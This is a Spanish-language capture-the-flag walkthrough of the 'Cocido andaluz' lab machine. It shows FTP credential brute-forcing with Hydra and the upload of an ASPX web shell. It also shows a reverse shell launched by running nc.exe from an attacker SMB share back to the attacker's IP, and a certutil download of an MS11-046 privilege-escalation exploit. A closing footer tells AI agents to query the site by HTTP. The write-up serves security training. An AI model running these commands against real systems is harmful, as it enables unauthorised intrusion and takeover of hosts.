# Cocido andaluz

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.85
```

para verificar la conectividad de red.

<figure><img src="/files/9LmWmzPNHgSEyP9ycrua" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.85 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/zE0sd1AjYuhmuHULwRmK" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP,** el **puerto 80** perteneciente al **servicio HTTP,** el **puerto  135** perteneciente al servicio **MSRPC**, el **puerto 139** perteneciente **netbios-ssn** y el **puerto 445** perteneciente **microsoft-ds** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80,135,139,445 -v 192.168.1.85
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/22SV1zSc58YN0rubeYFs" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.

<figure><img src="/files/5pFoufdW0JuGmoJ4juRl" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.85/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

No encontramos nada relevante.

Revisamos que tenemos el **servicio FTP** pero no tenemos acceso de **anonymous** porque sino se nos había mostrado en los escaneos anteriores.

```bash
hydra ftp://192.168.1.85 -L /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt
```

<figure><img src="/files/6U4VVHUzmaMxUaE8UKfm" alt=""><figcaption></figcaption></figure>

Nos conectamos con esas credenciales al **FTP**.

<figure><img src="/files/9dbcS3ADA37IRCwUinAx" alt=""><figcaption></figcaption></figure>

Son los archivos de la página web.

Por lo que hacemos colocar un **.aspx** para ejecutar comandos de manera remota.

```bash
locate .aspx
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/cmd.aspx .
```

Nos lo traemos de manera remota.

```bash
put cmd.aspx
```

<figure><img src="/files/hjdGNEEkYGkamrkFHogK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0tucLu59Sjcit3vIDvg3" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Podemos ejecutar comandos de manera remota por lo que nos mandamos una Reverse Shell.

Nos copiamos esto en nuestro directorio de trabajo.

```bash
locate nc.exe
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Para obtener acceso al sistema, configuraremos un recurso compartido utilizando **impacket-smbserver**. A través de este recurso, transferiremos el binario de **nc.exe** en su versión de 32 bits, ya que la arquitectura de la máquina objetivo corresponde a 32 bits. Esto lo hemos verificado previamente utilizando herramientas como **netexec** o **crackmapexec**.

Ejecutamos.

```bash
impacket-smbserver smbCarpeta . -smb2support
```

En el `cmd.aspx` ejecutamos.

```bash
\\192.168.1.50\cmdCarpetanc.exe -e cmd 192.168.1.50 443
```

Nos ponemos en escucha y le damos a ejecutar.

<figure><img src="/files/JqTqbozNYV1K8spETA9d" alt=""><figcaption></figcaption></figure>

Vemos que usuarios hay.

<figure><img src="/files/V5jngWJ0kYetpR6TidLN" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root.**

<figure><img src="/files/OqM82NOjINffsR3zwCC5" alt=""><figcaption></figcaption></figure>

Para ver información del sistema.

```bash
systeminfo
```

<figure><img src="/files/WwDU9au5MDZ5myuRUHSv" alt=""><figcaption></figcaption></figure>

Buscamos si tiene un exploit de esa versión de Windows. Encontramos <https://www.exploit-db.com/exploits/40564>

Buscamos en github y encontramos este ejecutable, por lo que nos lo descargamos.

Usamos certutil para pasar ese archivo a la máquina víctima. Para ello iniciamos en nuestra máquina atacante.

```bash
python3 -m http.server 8000
```

En la máquina víctima en el direcotrio `/tmp`.

```bash
certutil.exe -f -urlcache -split http://192.168.1.50/ms11-046.exe
```

<figure><img src="/files/H4Fp88dkT2LRxmXVZkmZ" alt=""><figcaption></figcaption></figure>

Ejecutamos.

<figure><img src="/files/k5m3vLIivOfw3gh5Eyxj" alt=""><figcaption></figcaption></figure>

Ya somos **root**. Podemos acceder al usuario **Administrador**.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/cocido-andaluz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
